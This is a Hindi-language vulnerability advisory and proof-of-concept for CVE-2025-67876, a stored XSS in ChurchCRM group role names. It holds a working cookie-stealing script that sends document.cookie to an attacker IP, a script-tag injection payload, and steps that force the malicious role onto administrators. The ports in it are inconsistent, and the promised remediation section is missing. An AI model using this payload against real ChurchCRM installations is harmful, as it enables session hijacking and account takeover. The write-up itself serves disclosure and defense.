
CVE-2025-67876 का विस्तृत proof-of-concept जो ChurchCRM ग्रुप रोल नामों में stored XSS दिखाता है, जो एडमिन सत्र अपहरण का कारण बनता है, पूर्ण शोषण वॉकथ्रू और सुधार अनुशंसाओं के साथ।
| फ़ील्ड | विवरण |
|---|
| CVE ID | CVE-2025-67876 |
| गंभीरता | CRITICAL |
| सलाह | सलाह देखें |
| खोजकर्ता | Lukasz Rybak |
ChurchCRM में एक संग्रहीत क्रॉस-साइट स्क्रिप्टिंग (XSS) कमजोरी मौजूद है जो 'Manage Groups' अनुमति वाले निम्न-विशेषाधिकार उपयोगकर्ता को समूह भूमिका नामों में लगातार जावास्क्रिप्ट इंजेक्ट करने की अनुमति देती है। पेलोड डेटाबेस में सहेजा जाता है और जब भी कोई उपयोगकर्ता (प्रशासकों सहित) उस भूमिका को प्रदर्शित करने वाला पृष्ठ देखता है, जैसे GroupView.php या PersonView.php, तो निष्पादित होता है। इससे पूर्ण सत्र अपहरण और खाता अधिग्रहण संभव होता है।
मूल कारण समूह भूमिका नामों के प्रबंधन में इनपुट वैलिडेशन और आउटपुट एन्कोडिंग की कमी है।
जब GroupEditor.php में किसी समूह को संपादित किया जाता है, तो उपयोगकर्ता भूमिका नामों को संशोधित कर सकता है। एप्लिकेशन इनपुट को स्वच्छ नहीं करता (जैसे, कोई strip_tags, htmlspecialchars, या सर्वर-साइड वैलिडेशन नहीं)। मान list_lst डेटाबेस तालिका में संग्रहीत किया जाता है।
बाद में, संग्रहीत मान बिना एस्केपिंग के सीधे HTML में इंजेक्ट किया जाता है:
इस प्रकार, निम्न-विशेषाधिकार वाला उपयोगकर्ता (Manage Groups के साथ) एक भूमिका में जावास्क्रिप्ट इंजेक्ट करके और उस भूमिका को किसी प्रशासक को असाइन करके विशेषाधिकारों को पूर्ण प्रशासक तक बढ़ा सकता है।
हमलावर-नियंत्रित मशीन पर x.js बनाएं:
fetch('http://172.20.0.1:8000/log?cookie=' + encodeURIComponent(document.cookie));
फ़ाइल को सर्व करें:
python3 -m http.server 800
Manage Groups अनुमति वाले उपयोगकर्ता के रूप में लॉग इन करें।
यहाँ जाएं: Groups → List Groups → कोई भी समूह चुनें → Settings.
“Group Roles” अनुभाग में, किसी मौजूदा भूमिका को संपादित करें या नई बनाएं।
दुर्भावनापूर्ण पेलोड डालें:
"><script src=//172.20.0.1:800/x.js></script>

Group Roles सूची में, अपने इंजेक्ट किए गए XSS पेलोड वाली भूमिका के आगे Default पर क्लिक करें। यह सुनिश्चित करता है कि समूह में जोड़े गए किसी भी उपयोगकर्ता को स्वचालित रूप से दुर्भावनापूर्ण भूमिका असाइन हो जाएगी, जिससे संभावना बढ़ जाती है कि कोई प्रशासक अपनी प्रोफ़ाइल देखते समय XSS को ट्रिगर करेगा।
पिछली डिफ़ॉल्ट भूमिका, सामान्यतः "Member", के आगे Delete पर क्लिक करें। स्वच्छ डिफ़ॉल्ट भूमिका को हटाने से सिस्टम को सभी भविष्य के असाइनमेंट के लिए XSS-इंजेक्टेड भूमिका का उपयोग करने के लिए मजबूर करता है, जिससे पीड़ित द्वारा अपनी असाइन की गई भूमिका प्रदर्शित करने वाले किसी भी पृष्ठ को देखने पर निष्पादन की गारंटी होती है।

Group View पृष्ठ पर जाएं।
किसी भी उपयोगकर्ता को समूह सदस्य के रूप में जोड़ें (जैसे, Church Admin)।
ड्रॉपडाउन से दुर्भावनापूर्ण भूमिका चुनें।
असाइनमेंट सहेजें।
जब पीड़ित (प्रशासक) निम्नलिखित पर जाता है:
संग्रहीत जावास्क्रिप्ट तुरंत निष्पादित होती है।

हमलावर सर्वर पर, आने वाले अनुरोध दिखाई देंगे:


यह सफल खाता अधिग्रहण की पुष्टि करता है।
CWE-79: वेब पेज जनरेशन के दौरान इनपुट का अनुचित उदासीनीकरण ('क्रॉस-साइट स्क्रिप्टिंग')
इस CVE को समन्वित भेद्यता प्रकटीकरण प्रथाओं का पालन करते हुए जिम्मेदारी से प्रकट किया गया था। यहां दी गई जानकारी केवल शैक्षिक और रक्षात्मक उद्देश्यों के लिए है।